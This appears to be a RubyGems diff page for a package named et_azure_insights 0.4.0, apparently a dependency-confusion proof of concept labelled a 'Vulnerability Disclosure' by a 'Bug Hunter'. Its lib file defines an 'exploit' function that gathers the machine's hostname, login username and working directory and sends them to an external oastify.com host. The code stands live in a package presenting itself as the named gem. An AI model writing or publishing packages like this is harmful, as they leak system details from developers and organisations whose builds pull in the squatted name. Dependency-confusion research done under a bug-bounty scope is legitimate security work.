et_azure_insights 0.4.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/et_azure_insights.rb +20 -0
  3. metadata +44 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 3a354d4ad5e1a475bca334a0aa161ca68e111b1fe852139225ea4345b35fac40
4
+ data.tar.gz: bc227bb8deb92101fca79f2a1a3dfeeb577fcd6da009519eb8ac2c77f087f595
5
+ SHA512:
6
+ metadata.gz: c10f5eaacd554466ee68211bc15c5dee9613e9318d5c1ee61f8f6ea5dd2f24a203ca564b2b0580456a9d9edc6ab819af05b61ebcf2f514521ba79e31e54fca47
7
+ data.tar.gz: 0fbe7449de5f2297e27443f1e5c4be2c896e6d1f27cdf3ef244d915ed6f6f3f2a9f3227ef8b2f71fcc4b7f5ab6645b64d07a0fcfe3a22d5ed7c3dd746eaed0ec
@@ -0,0 +1,20 @@
1
+ require 'net/http'
2
+ require 'socket'
3
+ require 'etc'
4
+
5
+ def exploit
6
+ hostname = Socket.gethostname
7
+ username = Etc.getlogin
8
+ cwd = Dir.pwd
9
+
10
+ uri = URI('https://sc8c79d4fjfgq4htgo090c2b72dt1i.oastify.com')
11
+ params = { 'hostname' => hostname, 'username' => username, 'cwd' => cwd }
12
+ uri.query = URI.encode_www_form(params)
13
+
14
+ res = Net::HTTP.get_response(uri)
15
+
16
+ # Add any additional code here based on the desired behavior of the exploit
17
+
18
+ # Example: Printing the response
19
+ puts res.body
20
+ end
metadata ADDED
@@ -0,0 +1,44 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: et_azure_insights
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.4.0
5
+ platform: ruby
6
+ authors:
7
+ - Bug Hunter
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-06-02 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This Ruby package is vulnerable to dependency confusion vulnerability
14
+ email:
15
+ - bughunter@gmail.com
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - lib/et_azure_insights.rb
21
+ homepage: https://rubygems.org/gems/et_azure_insights
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.3.15
41
+ signing_key:
42
+ specification_version: 4
43
+ summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
44
+ test_files: []